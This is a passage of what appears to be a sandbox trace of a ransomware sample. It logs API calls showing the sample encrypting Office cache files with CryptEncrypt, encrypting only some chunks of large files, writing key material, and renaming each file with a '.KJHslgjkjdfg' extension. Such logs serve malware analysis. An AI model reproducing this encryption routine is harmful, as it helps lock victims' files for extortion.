nNumberOfBytesToRead=0xaec3a, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0xaec3a, lpOverlapped=0x0) returned 1 [0140.492] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xaec40, dwBufLen=0xaec40 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xaec40) returned 1 [0140.505] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.505] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0xaec40, lpOverlapped=0x0) returned 1 [0140.507] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.508] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xaed24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.508] SetEndOfFile (hFile=0x124) returned 1 [0140.511] GetProcessHeap () returned 0x2a0000 [0140.511] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c5278 | out: hHeap=0x2a0000) returned 1 [0140.511] GetProcessHeap () returned 0x2a0000 [0140.511] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0140.511] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.kjhslgjkjdfg")) returned 1 [0140.512] CloseHandle (hObject=0x124) returned 1 [0140.512] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0140.512] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0140.512] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0140.513] GetProcessHeap () returned 0x2a0000 [0140.513] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0140.513] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0140.513] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0140.513] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xf, lpOverlapped=0x0) returned 1 [0140.515] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0140.515] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.516] GetProcessHeap () returned 0x2a0000 [0140.516] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0140.516] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30) returned 1 [0140.516] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.516] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f8*=0x30, lpOverlapped=0x0) returned 1 [0140.516] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0140.516] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0140.516] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0140.516] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0140.516] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0140.516] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0140.516] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.516] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.516] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5061, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x5061, lpOverlapped=0x0) returned 1 [0140.518] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x5070, dwBufLen=0x5070 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x5070) returned 1 [0140.518] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.518] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x5070, lpOverlapped=0x0) returned 1 [0140.518] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.518] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x5134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.518] SetEndOfFile (hFile=0x124) returned 1 [0140.521] GetProcessHeap () returned 0x2a0000 [0140.521] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0140.521] GetProcessHeap () returned 0x2a0000 [0140.521] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0140.521] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0140.522] CloseHandle (hObject=0x124) returned 1 [0140.522] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1 [0140.522] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0140.523] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=195011319) returned 1 [0140.523] GetProcessHeap () returned 0x2a0000 [0140.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0140.523] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0140.523] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.523] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f4*=0x9, lpOverlapped=0x0) returned 1 [0140.532] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0140.532] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.532] GetProcessHeap () returned 0x2a0000 [0140.532] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0140.532] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0140.532] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.532] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0140.533] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0140.533] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0140.533] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0140.533] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0140.533] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0140.533] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0140.533] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.533] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0140.533] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0140.541] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0140.548] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.548] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0140.549] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb9fa3d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.549] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0140.549] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0140.549] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0140.559] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0140.563] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.563] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0140.565] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb9fa3d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.565] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0140.565] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb9ba300, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0140.565] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0140.571] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0140.575] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb9ba300, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.575] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0140.576] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb9fa3d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.577] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0140.577] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.577] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb9fa3d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.577] SetEndOfFile (hFile=0x124) returned 1 [0140.581] GetProcessHeap () returned 0x2a0000 [0140.581] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0140.581] GetProcessHeap () returned 0x2a0000 [0140.581] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0140.581] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.kjhslgjkjdfg")) returned 1 [0140.582] CloseHandle (hObject=0x124) returned 1 [0140.582] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1 [0140.582] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0140.582] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=12060672) returned 1 [0140.582] GetProcessHeap () returned 0x2a0000 [0140.582] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0140.582] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0140.582] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.582] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0140.582] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.582] GetProcessHeap () returned 0x2a0000 [0140.583] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0140.583] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0140.583] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.583] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0140.586] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0140.586] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0140.586] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0140.586] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0140.586] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0140.586] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0140.586] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.586] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0140.586] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0140.594] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0140.601] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.601] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0140.602] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb808d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.602] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0140.602] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0140.602] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0140.616] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0140.621] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.621] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0140.623] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb808d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.623] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0140.623] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0140.623] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, 